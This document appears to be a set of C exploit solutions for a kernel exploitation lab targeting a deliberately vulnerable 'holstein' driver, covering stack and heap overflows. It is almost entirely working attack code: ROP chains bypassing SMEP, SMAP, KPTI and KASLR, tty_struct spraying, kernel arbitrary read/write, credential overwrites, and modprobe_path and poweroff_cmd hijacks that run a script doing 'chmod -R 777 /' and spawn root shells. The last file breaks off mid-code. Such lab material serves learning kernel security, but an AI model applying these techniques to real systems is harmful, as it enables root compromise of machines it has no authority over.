LK01-1 (Holstein v1: Stack Overflow)
c
exploit_without_any_mitigation.c
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define USER_LOG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define COMMIT_CREDS 0xffffffff8106e390
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char* argv[] = {"/bin/sh", NULL};
char* envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
static void restore_state() {
asm volatile(
"swapgs;\n"
"mov qword ptr [rsp+0x20], %[u_ss];\n"
"mov qword ptr [rsp+0x18], %[u_sp];\n"
"mov qword ptr [rsp+0x10], %[u_rflags];\n"
"mov qword ptr [rsp+0x08], %[u_cs];\n"
"mov qword ptr [rsp+0x00], %[u_ret];\n"
"iretq;\n" ::[u_cs] "r"(user_cs),
[u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
[u_ret] "r"(get_shell));
}
static void escalate_privilege() {
void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
commit_creds(prepare_kernel_cred(0));
restore_state();
}
int main() {
char buf[2 * VULN_BUFFER_SIZE] = {0};
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
return -1;
}
save_state();
{
memset(buf, 'A', VULN_BUFFER_SIZE);
uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
*rop_buf++ = 0xdeadbeefcafebebe;
*rop_buf++ = (uint64_t)(escalate_privilege);
}
write(fd, buf, VULN_BUFFER_SIZE + 0x10);
return 0;
}
c
exploit_with_kaslr.c
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define USER_LOG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char* argv[] = {"/bin/sh", NULL};
char* envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
static void restore_state() {
asm volatile(
"swapgs;\n"
"mov qword ptr [rsp+0x20], %[u_ss];\n"
"mov qword ptr [rsp+0x18], %[u_sp];\n"
"mov qword ptr [rsp+0x10], %[u_rflags];\n"
"mov qword ptr [rsp+0x08], %[u_cs];\n"
"mov qword ptr [rsp+0x00], %[u_ret];\n"
"iretq;\n" ::[u_cs] "r"(user_cs),
[u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
[u_ret] "r"(get_shell));
}
static void escalate_privilege() {
void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
commit_creds(prepare_kernel_cred(0));
restore_state();
}
static __attribute__((naked)) void get_kernel_base_and_escalate_privilege() {
asm("mov %[k_base], qword ptr [rsp];\n" : [k_base] "=r"(kernel_base));
kernel_base -= 0x1506B9;
asm("jmp %[escalate_privilege];\n"
:
: [escalate_privilege] "i"(escalate_privilege));
}
int main() {
char buf[2 * VULN_BUFFER_SIZE] = {0};
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
return -1;
}
save_state();
{
memset(buf, 'A', VULN_BUFFER_SIZE);
uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
*rop_buf++ = 0xdeadbeefcafebebe;
*rop_buf++ = (uint64_t)(get_kernel_base_and_escalate_privilege);
}
write(fd, buf, VULN_BUFFER_SIZE + 0x10);
return 0;
}
c
exploit_with_smep_smap.c
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define USER_LOG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define POP_RDI 0xffffffff8127bbdc
#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define XOR_RCX_RCX 0xffffffff810abef0
#define MOV_RDI_RAX_REP 0xffffffff8160c96b
#define COMMIT_CREDS 0xffffffff8106e390
#define SWAPGS 0xffffffff8160bf7e
#define IRETQ 0xffffffff810202af
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char* argv[] = {"/bin/sh", NULL};
char* envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
int main() {
char buf[2 * VULN_BUFFER_SIZE] = {0};
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
return -1;
}
save_state();
memset(buf, 'A', VULN_BUFFER_SIZE);
uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
*rop_buf++ = 0xdeadbeefcafebebe;
*rop_buf++ = (uint64_t)(POP_RDI);
*rop_buf++ = 0;
*rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
*rop_buf++ = (uint64_t)(XOR_RCX_RCX);
*rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
*rop_buf++ = (uint64_t)(COMMIT_CREDS);
*rop_buf++ = (uint64_t)(SWAPGS);
*rop_buf++ = (uint64_t)(IRETQ);
*rop_buf++ = (uint64_t)(get_shell);
*rop_buf++ = (uint64_t)(user_cs);
*rop_buf++ = (uint64_t)(user_rflags);
*rop_buf++ = (uint64_t)(user_sp);
*rop_buf++ = (uint64_t)(user_ss);
write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);
return 0;
}
c
exploit_with_smep_smap_kpti_kaslr.c
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define USER_LOG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define POP_RDI_OFFSET (0xffffffff8127bbdc - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define XOR_RCX_RCX_OFFSET (0xffffffff810abef0 - KERNEL_BASE)
#define XOR_RCX_RCX (kernel_base + XOR_RCX_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8160c96b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET (0xffffffff81800e26 - KERNEL_BASE)
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)
uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char* argv[] = {"/bin/sh", NULL};
char* envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
int main() {
char buf[2 * VULN_BUFFER_SIZE] = {0};
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
return -1;
}
save_state();
read(fd, buf, sizeof(buf));
kernel_base = ((uint64_t*)buf)[0x408 / 8] - 0x13d33c;
#if USER_LOG == 1
printf("[*] kernel_base: 0x%lx\n", kernel_base);
#endif
memset(buf, 'A', VULN_BUFFER_SIZE);
uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
*rop_buf++ = 0xdeadbeefcafebebe;
*rop_buf++ = (uint64_t)(POP_RDI);
*rop_buf++ = 0;
*rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
*rop_buf++ = (uint64_t)(XOR_RCX_RCX);
*rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
*rop_buf++ = (uint64_t)(COMMIT_CREDS);
*rop_buf++ = (uint64_t)(BYPASS_KPTI);
*rop_buf++ = 0xdeadbeefcafebe00;
*rop_buf++ = 0xdeadbeefcafebe01;
*rop_buf++ = (uint64_t)(get_shell);
*rop_buf++ = (uint64_t)(user_cs);
*rop_buf++ = (uint64_t)(user_rflags);
*rop_buf++ = (uint64_t)(user_sp);
*rop_buf++ = (uint64_t)(user_ss);
write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);
return 0;
}
LK01-2 (Holstein v2: Heap Overflow)
c
exploit_using_tty_struct.c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_POP_RSP_R13_RBP_OFFSET (0xffffffff813a478a - KERNEL_BASE)
#define PUSH_RDX_POP_RSP_R13_RBP (kernel_base + PUSH_RDX_POP_RSP_R13_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810d748d - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81074650 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8113c1c4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8162707b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810744b0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
(0xffffffff81800e26 - \
KERNEL_BASE) // Offset in the function
// swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)
uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
int main() {
char buf[VULN_BUFFER_SIZE * 2];
save_state();
int tty_spray[100];
for (int i = 0; i < 50; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
return -1;
}
}
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
return -1;
}
for (int i = 50; i < 100; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
return -1;
}
}
read(fd, buf, sizeof(buf));
kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
if (kernel_base & 0xFFFFFF != 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
if (g_buf_addr & 0xFF != 0) {
printf("[-] Failed to leak g_buf base\n");
return -1;
}
printf("[*] kernel_base: %p\n", (void *)kernel_base);
printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif
uint64_t *rop_buf = (uint64_t *)buf;
*rop_buf++ = PUSH_RDX_POP_RSP_R13_RBP; // overwrite ioctl
*rop_buf++ = POP_RDI;
*rop_buf++ = 0;
*rop_buf++ = PREPARE_KERNEL_CRED;
*rop_buf++ = POP_RCX;
*rop_buf++ = 0;
*rop_buf++ = MOV_RDI_RAX_REP;
*rop_buf++ = COMMIT_CREDS;
*rop_buf++ = BYPASS_KPTI;
*rop_buf++ = 0xdeadbeefcafebe00;
*rop_buf++ = 0xdeadbeefcafebe01;
*rop_buf++ = (uint64_t)(get_shell);
*rop_buf++ = (uint64_t)(user_cs);
*rop_buf++ = (uint64_t)(user_rflags);
*rop_buf++ = (uint64_t)(user_sp);
*rop_buf++ = (uint64_t)(user_ss);
*(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
write(fd, buf, sizeof(buf));
for (int i = 0; i < 100; ++i) {
ioctl(tty_spray[i], 0x00, g_buf_addr - 0x08 * 2 + 0x08);
}
close(fd);
for (int i = 0; i < 100; ++i) {
close(tty_spray[i]);
}
return 0;
}
c
exploit_using_cred.c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
uint64_t kernel_base, g_buf_addr;
int main() {
char buf[VULN_BUFFER_SIZE * 2];
int tty_spray[100];
for (int i = 0; i < 50; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
printf("[-] Failed to open tty\n");
return -1;
}
}
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
return -1;
}
for (int i = 50; i < 100; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
printf("[-] Failed to open tty\n");
return -1;
}
}
read(fd, buf, sizeof(buf));
kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
if (kernel_base & 0xFFFFFF != 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
if (g_buf_addr & 0xFF != 0) {
printf("[-] Failed to leak g_buf base\n");
return -1;
}
#if PRINT_DEBUG == 1
printf("[*] kernel_base: %p\n", (void *)kernel_base);
printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif
uint64_t *rop_buf = (uint64_t *)buf;
*rop_buf++ = 0xdeadbeefcafebebe; // overwrite ioctl
*(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
write(fd, buf, sizeof(buf));
#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR) \
({ \
*(uint64_t *)(buf) = (uint64_t)(ADDR); \
write(fd, buf, sizeof(buf)); \
})
SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
uint64_t modified_tty_fd = 0;
for (int i = 0; i < 100; ++i) {
if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
modified_tty_fd = tty_spray[i];
break;
}
}
#define AAW32(ADDR, VAL) \
({ \
ioctl(modified_tty_fd, (uint32_t)(VAL), \
(uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
})
#define AAR32(ADDR) \
({ \
uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
ret; \
})
const char kEvilProcessName[] = "uniguri";
if (prctl(PR_SET_NAME, kEvilProcessName) == -1) {
printf("[-] Failed to set process name\n");
return -1;
}
SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
uint64_t cur_task_addr = 0;
for (uint64_t cur_addr = g_buf_addr - 0x1000000;; cur_addr += 8) {
uint32_t val = AAR32(cur_addr);
#if PRINT_DEBUG == 1
if ((cur_addr & 0xfffff) == 0) {
printf("[*] Searching 0x%016lx...\n", cur_addr);
}
#endif
if (val == *(uint32_t *)(kEvilProcessName)) {
val = AAR32(cur_addr + 0x04);
if (val == *(uint32_t *)(kEvilProcessName + 4)) {
cur_task_addr = cur_addr;
#if PRINT_DEBUG == 1
printf("[+] Found current task name(%s): 0x%016lx\n", kEvilProcessName,
cur_task_addr);
#endif
break;
}
}
}
if (cur_task_addr == 0) {
printf("[-] Failed to find current task\n");
return -1;
}
uint64_t cur_task_cred =
AAR32(cur_task_addr - 8) | ((uint64_t)AAR32(cur_task_addr - 4) << 32);
#if PRINT_DEBUG == 1
printf("[*] current_task_cred: 0x%016lx\n", cur_task_cred);
#endif
SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
for (int i = 1; i < 9; ++i) {
AAW32(cur_task_cred + 0x4 * i, 0);
}
puts("[+] Get shell!");
system("/bin/sh");
#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32
close(fd);
for (int i = 0; i < 100; ++i) {
close(tty_spray[i]);
}
return 0;
}
c
exploit_using_modprobe_path.c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define MODPROB_PATH_OFFSET (0xffffffff81e38180 - KERNEL_BASE)
#define MODPROBE_PATH_ADDR (kernel_base + MODPROB_PATH_OFFSET)
uint64_t kernel_base, g_buf_addr;
int main() {
char buf[VULN_BUFFER_SIZE * 2];
int tty_spray[100];
for (int i = 0; i < 50; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
return -1;
}
}
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
return -1;
}
for (int i = 50; i < 100; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
return -1;
}
}
read(fd, buf, sizeof(buf));
kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
if (kernel_base & 0xFFFFFF != 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
if (g_buf_addr & 0xFF != 0) {
printf("[-] Failed to leak g_buf base\n");
return -1;
}
printf("[*] kernel_base: %p\n", (void *)kernel_base);
printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif
uint64_t *rop_buf = (uint64_t *)buf;
*rop_buf++ = 0xdeadbeefcafebebe; // overwrite ioctl
*(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
write(fd, buf, sizeof(buf));
#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR) \
({ \
*(uint64_t *)(buf) = (uint64_t)(ADDR); \
write(fd, buf, sizeof(buf)); \
})
SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
uint64_t modified_tty_fd = 0;
for (int i = 0; i < 100; ++i) {
if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
modified_tty_fd = tty_spray[i];
break;
}
}
#define AAW32(ADDR, VAL) \
({ \
ioctl(modified_tty_fd, (uint32_t)(VAL), \
(uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
})
#define AAR32(ADDR) \
({ \
uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
ret; \
})
const char kRunEvilCmd[] = "/tmp/evil.sh";
SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
AAW32(MODPROBE_PATH_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
}
system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32
close(fd);
for (int i = 0; i < 100; ++i) {
close(tty_spray[i]);
}
return 0;
}
c
exploit_using_poweroff_cmd.c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define POWEROFF_CMD_OFFSET (0xffffffff81e379c0 - KERNEL_BASE)
#define POWEROFF_CMD_ADDR (kernel_base + POWEROFF_CMD_OFFSET)
#define ORDERLY_POWEROFF_OFFSET (0xffffffff810750e0 - KERNEL_BASE)
#define ORDERLY_POWEROFF (kernel_base + ORDERLY_POWEROFF_OFFSET)
uint64_t kernel_base, g_buf_addr;
int main() {
char buf[VULN_BUFFER_SIZE * 2];
int tty_spray[100];
for (int i = 0; i < 50; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
printf("[-] Failed to open tty\n");
return -1;
}
}
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
return -1;
}
for (int i = 50; i < 100; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
printf("[-] Failed to open tty\n");
return -1;
}
}
read(fd, buf, sizeof(buf));
kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
if (kernel_base & 0xFFFFFF != 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
if (g_buf_addr & 0xFF != 0) {
printf("[-] Failed to leak g_buf base\n");
return -1;
}
#if PRINT_DEBUG == 1
printf("[*] kernel_base: %p\n", (void *)kernel_base);
printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif
uint64_t *rop_buf = (uint64_t *)buf;
*rop_buf++ = 0xdeadbeefcafebebe; // overwrite ioctl
*(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
write(fd, buf, sizeof(buf));
#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR) \
({ \
*(uint64_t *)(buf) = (uint64_t)(ADDR); \
write(fd, buf, sizeof(buf)); \
})
SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
uint64_t modified_tty_fd = 0;
for (int i = 0; i < 100; ++i) {
if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
modified_tty_fd = tty_spray[i];
break;
}
}
#define AAW32(ADDR, VAL) \
({ \
ioctl(modified_tty_fd, (uint32_t)(VAL), \
(uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
})
#define AAR32(ADDR) \
({ \
uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
ret; \
})
const char kRunEvilCmd[] = "/tmp/evil.sh";
SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
AAW32(POWEROFF_CMD_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
}
system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
SET_IOCTL_INST_ADDR(ORDERLY_POWEROFF);
ioctl(modified_tty_fd, 0, 0);
#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32
close(fd);
for (int i = 0; i < 100; ++i) {
close(tty_spray[i]);
}
return 0;
}
c
exploit_using_core_pattern.c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define CORE_PATTERN_OFFSET (0xffffffff81eb0b20 - KERNEL_BASE)
#define CORE_PATTERN_ADDR (kernel_base + CORE_PATTERN_OFFSET)
uint64_t kernel_base, g_buf_addr;
int main() {
char buf[VULN_BUFFER_SIZE * 2];
int tty_spray[100];
for (int i = 0; i < 50; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
printf("[-] Failed to open tty\n");
return -1;
}
}
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd < 0) {
printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
return -1;
}
for (int i = 50; i < 100; ++i) {
tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (tty_spray[i] < 0) {
printf("[-] Failed to open tty\n");
return -1;
}
}
read(fd, buf, sizeof(buf));
